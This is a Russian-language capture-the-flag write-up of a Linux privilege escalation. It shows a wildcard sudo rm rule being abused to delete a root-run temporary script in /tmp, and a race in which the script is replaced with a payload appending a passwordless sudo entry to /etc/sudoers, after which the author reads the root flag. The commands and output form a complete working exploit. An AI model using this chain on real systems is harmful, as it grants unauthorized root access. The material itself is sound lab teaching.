

сразу выполняем некоторые команды которые можно сделать (`find / -type f -perm 2000/4000 2>/dev/null` для поиска suid/guid битов, `sudo -l` для проверки того что мы можем исполнить от root). получаем:

```
[backup-admin@ssh-658979949-5t28l:~$ sudo -l
Matching Defaults entries for backup-admin on ssh-658979949-5t28l:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:

User backup-admin may run the following commands on ssh-658979949-5t28l:
    (ALL) NOPASSWD: /usr/bin/rm /opt/backups/*.tar*
backup-admin@ssh-658979949-5t28l:~$
```

из вывода видно что единственное что мы можем делать от имени админа:

`/usr/bin/rm /opt/backups/*.tar*`

интересно. давайте изучать систему

в /opt:

```
[backup-admin@ssh-658979949-5t28l:~$ cd /opt/  
[backup-admin@ssh-658979949-5t28l:/opt$ ls  
backup_monitor.sh  backups  diag.log  
backup-admin@ssh-658979949-5t28l: /opt$ |
```

в /opt/backups как ни странно лежит:

```
[backup-admin@ssh-658979949-5t28l:/opt$ ls backups  
backup.tar  
backup-admin@ssh-658979949-5t28l: /opt$ |
```

давайте изучим backup\_monitor.sh

```
[backup-admin@ssh-658979949-5t281:/opt$ cat backup_monitor.sh
#!/bin/bash

DIAG_SCRIPT="/tmp/diag_$(date +%s).sh"

cat > "$DIAG_SCRIPT" << 'EOF'
#!/bin/bash
echo "Running diagnostics at $(date)" >> /opt/diag.log
df -h | grep -E "(root|sda)" >> /opt/diag.log
EOF

# Cleanup
sleep 30
find /tmp -name "diag_*.sh" -mmin +5 -delete 2>/dev/null || true

chmod +x "$DIAG_SCRIPT"
"$DIAG_SCRIPT"
```

то есть этот скрипт создает какие то скрипты которые проверяют что то в системе (простите, но мне честно было так лень изучать что такое df), ждет 30 секунд и запускает их. ВСЁ ОТ ИМЕНИ РУТА!!!

давайте изучим лог:

```
[backup-admin@ssh-658979949-5t281:/opt$ cat diag.log
Running diagnostics at Tue Nov  4 16:31:31 UTC 2025
Running diagnostics at Tue Nov  4 16:32:31 UTC 2025
Running diagnostics at Tue Nov  4 16:33:31 UTC 2025
Running diagnostics at Tue Nov  4 16:34:31 UTC 2025
```

то есть backup\_monitor.sh каждую минуту создает скрипт и запускает его через 30 секунд. это вполне хорошая возможность для эксплуатации, ведь если подменять код скрипта в эти 30 секунд, получится исполнить что угодно от root

давайте перейдем в /tmp где скрипты создаются

```
[backup-admin@ssh-658979949-5t281:/tmp$ ls -l
total 24
-rwxr-xr-x 1 root root 113 Nov  4 16:32 diag_1762273921.sh
-rwxr-xr-x 1 root root 113 Nov  4 16:33 diag_1762273981.sh
-rwxr-xr-x 1 root root 113 Nov  4 16:34 diag_1762274041.sh
-rwxr-xr-x 1 root root 113 Nov  4 16:35 diag_1762274101.sh
-rwxr-xr-x 1 root root 113 Nov  4 16:36 diag_1762274161.sh
-rw-r--r-- 1 root root 113 Nov  4 16:37 diag_1762274221.sh
```

видим эти скрипты, а на последнем еще нет метки исполнения (x на конце), значит эти 30 секунд бездействия скрипта реальны. то есть нам нужно как то подменить этот файл.

вспомним `sudo -l`, мы можем исполнить выполнить `rm` (удаление файла) от имени `root`, но касается это только на

`/opt/backups/*.tar*`

(для глупышек - `/opt/backups/(любой текст).tar(любой текст)`)

видите `*` на конце? это значит что вместо `*` мы можем написать любой текст, любой длины. то есть мы вполне можем удалить несколько файлов исполнив один вызов `sudo`!

например мы пишем

```
/usr/bin/rm /opt/backups/backup.tar /tmp/script.sh
```

И удаляем одновременно backup.tar и скрипт который должен исполнить root через 30 секунд. так как все скрипты пишутся в /tmp то мы спокойно можем создать новый и подменить код на :

```
#!/bin/bash  
echo 'backup-admin ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
```

(исполнение через sudo всех команд без пароля для моего пользователя backup-admin)

то есть все что нам остается это ждать момент когда скрипт создается, и в течение 30 секунд:

- пересоздать его:

```
[backup-admin@ssh-7d7bb587d8-7rgmq:/tmp$ ls
diag_1762263541.sh  diag_1762263601.sh
[backup-admin@ssh-7d7bb587d8-7rgmq:/tmp$ sudo /usr/bin/rm /opt/backups/*.tar diag_1762263601.sh
[backup-admin@ssh-7d7bb587d8-7rgmq:/tmp$ touch diag_1762263601.sh
```

- записать в него ЭКСПЛОИТ:

```
backup-admin@ssh-7d7bb587d8-7rgmq:/tmp$ cat > diag_1762263601.sh << 'EOF'
#!/bin/bash
echo 'backup-admin ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
EOF
```

потом ждем выполнения скрипта (30 секунд) и проверяем, можем ли мы получить права root (sudo su)

```
[backup-admin@ssh-7d7bb587d8-7rgmq:/tmp$ ls
diag_1762263541.sh  diag_1762263601.sh
[backup-admin@ssh-7d7bb587d8-7rgmq:/tmp$ sudo su
[root@ssh-7d7bb587d8-7rgmq:/tmp# ls
diag_1762263541.sh  diag_1762263601.sh
[root@ssh-7d7bb587d8-7rgmq:/tmp# cd /root
[root@ssh-7d7bb587d8-7rgmq:~# ls
flag.txt
```

sudo su сработал (повышение привилегий до root), значит мы теперь root и можно спокойно прочитать /root/flag.txt